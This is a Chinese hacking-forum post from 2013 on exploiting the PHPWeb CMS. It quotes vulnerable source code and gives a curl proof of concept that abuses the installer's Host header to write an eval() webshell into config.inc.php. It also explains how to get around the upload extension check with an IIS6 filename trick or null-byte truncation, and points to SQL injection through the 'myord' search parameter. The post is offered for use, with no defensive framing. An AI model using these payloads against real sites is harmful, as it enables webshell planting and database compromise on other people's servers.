找回密码
 立即注册
查看: 3086|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:& s9 |& {. S; s' i4 X, b5 z: t
* g1 F& Q. X0 G" ~% O1 F
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
! O" v/ L/ Z8 h9 O % V1 h2 h1 U4 H+ a/ a1 F
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" v9 l5 B+ ?% Y% i
鸡肋2: 有一定安全常识的站长都会删掉 install 目录" C; a1 y; E% N, u0 a7 B" `) k

4 f3 u% A( L8 n! |! A7 }/ D3 r$ y虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
) d$ u0 D- C" l  D# R9 h
) m# D/ j  P0 Y5 r0 w8 {3 [2 |分析:: ?' B+ ~# I+ z" w, D2 U: q

9 ~# y( ]% `% a! V# P/ R
8 A$ V8 L. }6 }. j# n) k$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤- O5 B6 D3 D- h0 s9 ?9 Z, j

# p2 e  C5 G, m, o- b                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 X% V0 {( T6 _4 M                                            $filestr=str_replace(" ","",$filestr);
2 v' g- _7 c+ i- z                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);/ w+ M9 g! i# [, G% B0 J( _5 }: G
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
* G, {+ ]" X/ M( e! G/ u" {7 i                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
- g- m3 f2 T* A) d* F" k; g                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);, W6 x# `" X0 g/ D
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);1 {: J$ ?& |9 z( b
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 O9 Z+ g/ T/ [4 ]1 L                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
, N7 X5 D& I: c8 N( F 4 L# t. K# z& H, P+ O& S' r3 O
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
4 g6 {; e  N2 W* k$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^! u3 i) U7 E7 g8 d1 t  {8 b
6 o) i0 x9 ?& F4 s( g* J
poc:) z1 o- ]- V8 b8 Y, k
: a4 S6 W$ j! F( P
?6 d. `' F) S) t& n- Q9 v. S6 F! Z
19 [5 p: [0 N# o3 I/ l9 B
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
1 J( i( W* l9 G& wshell地址: /config.inc.php: K' L$ i+ F& J! w% I2 k* J/ K- [+ c
跟之前的 phpcms一样 需要远程数据库
8 W: j; j8 j6 V  U, N$ h" E: `
. Q$ j1 b: p  z' ^) T# U' d' d——————————————————–* e% ]+ t* e: A
上传漏洞(需要进后台):
% u* I, F! q+ B' F" `" ?漏洞文件: /kedit/upload_cgi/upload.php
2 B$ y5 J6 Z! A/ g: \! Q' J0 S这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
8 C! \2 d6 G4 k5 Y% c% V / @7 `2 Q3 H. N1 ~2 c
& [* Y* b; I* E
<?php: V2 a( P7 k" c3 h# r% {+ r8 e
    define("ROOTPATH", "../../");( X' s9 ?( P; K8 a& \+ W- J) h; B7 J
    include(ROOTPATH."includes/admin.inc.php");
- T$ N* J7 ]$ G    NeedAuth(0);# F$ g+ B( m8 |% }3 @7 s

! }! y. [% V2 J( l8 |( ]    $dt=date("Ymd",time());7 u2 T! x+ n: d
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
7 Y5 X4 v$ a& W            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);; }; N+ o2 c1 [$ @/ w
    }2 Z5 t# E( b5 u! @, ^2 L

  t  m' W7 M# J$ Q0 V" l! z    //文件保存目录路径
5 }0 n/ c1 f" E9 E3 J( c    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 n8 c$ r2 t% E! L1 h0 o0 B    echo $save_path;2 E1 f2 _" E6 R4 x
    //文件保存目录URL0 V9 i: b2 W$ A) k, l: q: z/ v+ G1 e
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';* ^2 L- w: T- ~/ |. r1 W

+ ~" ]. J6 A9 p    //定义允许上传的文件扩展名9 v' [9 i5 X  S: b  c" y, {* I
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀$ M% b/ G3 T* ]3 x5 D: o7 Y; B' C

# U/ n6 L1 P" M# G7 q    //最大文件大小" O7 ]& w5 U5 K8 a# h' L' C
    $max_size = 1000000;
/ Y, H# r" i" ?4 `5 E+ H
4 Z2 f1 I' k1 [7 S* E0 J    //更改目录权限7 x+ r1 o4 Y3 j
    @mkdir($save_path, 0777);  ?- `8 ?  `3 P8 M9 j# ^; ]

- v; h3 s. y2 J9 r' @. Q  q    //文件的全部路径( m, h4 Y% g- Y% K8 I' ?3 J
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
+ g1 E  \% D0 ^& N 3 x" \# B( q) J2 O) d- l
    //文件URL
4 N5 u" T9 v# Z* {5 w: h    $file_url = $save_url.$_POST['fileName'];
. X* s& b/ r1 s' V: u5 I- ~//有上传文件时
6 [0 k# |% r+ I/ E( [0 D    if (empty($_FILES) === false) {
$ ?! w; @2 \# \ - f  b, X* h6 e& l" Q; q
            //原文件名
  u. N: P, L. E) P; i- O            $file_name = $_FILES['fileData']['name'];# k" x! r$ |. L4 x6 C6 r9 |2 R. o
            //服务器上临时文件名
6 t; n% x8 x0 N5 i            $tmp_name = $_FILES['fileData']['tmp_name'];$ y* N2 [' N2 j9 W. I* q
            //文件大小
( j* b9 k( H: b: k7 ]2 Y: M% i            $file_size = $_FILES['fileData']['size'];' F% C) r# L& O% `% ^: f! }' t
            //检查目录
/ s& v* |( K# J+ `9 T) }            if (@is_dir($save_path) === false) {
: y6 Q/ z5 Z0 g2 x; M0 ?                    alert("上传目录不存在。");
( n: g: |. m! o4 G, `9 y% W            }
4 q* v$ K5 [& x% S* L+ W- N            //检查目录写权限
8 r9 |6 g6 l3 x2 x. B% R            if (@is_writable($save_path) === false) {
/ L/ M, q9 }7 Q9 C                    alert("上传目录没有写权限。");
; n% u" k8 y1 N6 G/ }( \            }
. d7 f2 n* H* q% X% C            //检查是否已上传- p& M+ f0 A( |! ~) j2 s: q
            if (@is_uploaded_file($tmp_name) === false) {: S( w5 O' T# N5 [
                    alert("临时文件可能不是上传文件。");
8 l! M2 z# f8 G- B2 ?% y: ^3 y            }
( P! ?: ]7 t- I' Q. S            //检查文件大小3 s1 w. w# x# B, D: M7 R3 @* i
            if ($file_size > $max_size) {
/ f" G$ c. [& e5 l! r& }3 Q0 t                    alert("上传文件大小超过限制。");0 J  K4 @$ [. z: j
            }
+ l0 N) l' x) \. E  d. ?) f            //获得文件扩展名7 L* s- x7 R. [% n9 Y! f
            $temp_arr = explode(".", $_POST['fileName']);
) t2 t2 g8 x: m4 }( _  D9 p            $file_ext = array_pop($temp_arr);
! V' h6 x  y; `. l; K            $file_ext = trim($file_ext);
, U8 E  ?# J8 _            $file_ext = strtolower($file_ext);3 x) v# J, T6 s% R

# M/ |; @" z! u0 y, H) Q, _            //检查扩展名   / z8 b3 ^; F5 c, u! s. f; }0 W
            if (in_array($file_ext, $ext_arr) === false) {     ) s9 u: U/ G3 e0 L* L3 ~
                    alert("上传文件扩展名是不允许的扩展名。");% L% B* _# \1 ^( q  K3 a' Q
            }1 n' @; ]% f% @
/ K4 h& N, ?8 K/ K$ y
            //移动文件   , |# x- B+ ~' O5 T9 A3 e6 G: P5 e
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
4 t* x" i2 {7 b( u            if (move_uploaded_file($tmp_name, $file_path) === false) {
5 i- R! S/ E" F+ G# q- `4 h9 [                    alert("上传文件失败。");
6 U" A5 o* ^0 e  J) k+ V            }
, t" k( q0 X# C) ?7 W ( U/ w3 U! K8 |; M4 b- l8 A
            @chmod($file_path,0666);
' D) X$ J) w( @& }3 c4 m& o4 e
' u. e; m3 s! |0 o# n/ N. [    ?>0 l( ^8 \1 B# a/ a7 J
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227* }: p6 ^9 j# W8 @: A# L
7 @6 v: ]0 T, d4 t; H5 p5 l7 s
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过- ?& u% I* ?; q1 U- M

" s% S8 O  v, K  |; D——————————————————2 x/ }" o. S2 x6 ^" y. @
注入漏洞:
8 e8 e2 e$ x# J) D6 [# f* ~漏洞文件:search/module/search.php  W) C6 P: n5 o( v) _
/search/index.php?key=1&myord=1 [sqlinjection]) n) J, y7 B: j. k. h  _
0 Q6 o  l. o7 n9 B$ z" G. w

3 `3 _  r0 y# B' w; w$ e0 [" c5 l<?php
% e1 I2 E3 G! ]" ]# s& F   //       ... 省略 n 行...
& D! o- x7 N' V# b- A$ O   //第18行:
& O" \: k9 _/ r, I# Q           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响# G1 _' o# y8 ?; l; i$ l1 d7 \  f
           $page=htmlspecialchars($_GET["page"]);
& h* |* H2 Y4 w( l           $myord=htmlspecialchars($_GET["myord"]);5 i& E: f9 E, P, |$ F

& f4 y0 p0 ^+ g: T3 ]  J0 t9 j7 b0 R   //       ... 省略 n 行...! ^" W# x' b' l: d
   $key,$myord 两个参数带入查询; C- N5 \& y! l8 J) M. W
   //第47行 $key:
3 k9 Z, ]* T) v9 j 2 |, J1 X/ b/ U
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
" I  h6 T: ]( y! U" c2 A6 ` " }+ c" ^8 O: M& T& o
   //第197行 $myord
! T% s) b: Z! W& [   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
: y* `4 V/ A4 g2 w/ k) l  Y
4 a  `0 F! G$ l, H; Z8 h. W   ?>- l7 P4 H" i# _' Q* K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表